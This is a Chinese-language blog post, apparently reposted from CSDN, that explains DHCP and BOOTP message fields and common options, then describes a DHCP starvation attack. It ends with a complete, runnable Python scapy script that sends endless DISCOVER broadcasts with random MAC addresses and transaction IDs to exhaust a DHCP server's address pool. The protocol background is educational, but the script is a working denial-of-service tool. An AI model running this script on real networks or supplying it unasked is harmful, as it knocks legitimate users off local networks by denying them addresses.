版权声明:来自 www.youyouorz.top https://blog.csdn.net/qq_41725312/article/details/90314500
DCHP知识铺垫
DHCP
动态主机设置协议(英语:Dynamic Host Configuration Protocol,缩写:DHCP)是一个局域网的网络协议,使用UDP协议工作
BOOTP
BOOTP(Bootstrap Protocol,引导程序协议)是一种引导协议,基于IP/UDP协议,也称自举协议,是DHCP协议的前身。
关系
-
DHCP 是BOOTP 的增强版本都是基于TCP/IP协议的协议
-
DHCP的消息格式是基于BOOTP的消息格式的
报文部分字段
- op:消息操作代码
- 1 客户端请求报文(BOOTREQUEST)
- 2 服务器响应报文(BOOTREPLY)
- xid:事务ID,由客户端选择的一个随机数,被服务器和客户端用来在它们之间交流请求和响应
- chaddr:客户端MAC地址
- option:选项字段
常见option选项
Option id | name | 描述 |
---|---|---|
1 | Subnet Mask | 子网掩码 |
3 | Router | 网关 |
6 | DNS Server | DNS服务器 |
51 | IP address lease time | IP地址租期 |
53 | Message type | 消息类型 |
54 | DHCP Server Identifier | DHCP服务器身份 |
IP请求中的Message type:
- 1 DHCP发现(DISCOVER)
- 2 DHCP提供(OFFER)
- 3 DHCP请求(REQUEST)
- 5 DHCP确认(Acknowledge,ACK)
DHCP耗尽攻击
不断的发送DHCP Dscover
来向DHCP服务器请求IP地址,导致地址池耗尽,对网络造成破坏
详见:
数据包分析
DHCP 服务器: 192.168.1.1 地址池:192.168.1.100-200

Ether
- src:
本机mac
- dst:
ff:ff:ff:ff:ff:ff
广播地址
IP
- src:
0.0.0.0
UDP
- src port:
68
- dst port:
67
DHCP
-
chaddr:
本机mac
-
option:
53 Discover
编写脚本
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from scapy.all import ( Ether, RandMAC, IP, UDP, BOOTP, DHCP, sendp ) import random def dhcp_discover(iface): while 1: xid_random = random.randint(1, 900000000) mac_random = str(RandMAC()) dhcp_discover = (Ether(src=mac_random,dst='ff:ff:ff:ff:ff:ff')/ IP(src='0.0.0.0',dst='255.255.255.255')/ UDP(sport=68,dport=67)/ BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000)/ DHCP(options=[('message-type','discover')] )) sendp(dhcp_discover,iface=iface) if __name__ == '__main__': iface = 'eth0' dhcp_discover(iface)
文章来源: https://blog.csdn.net/qq_41725312/article/details/90314500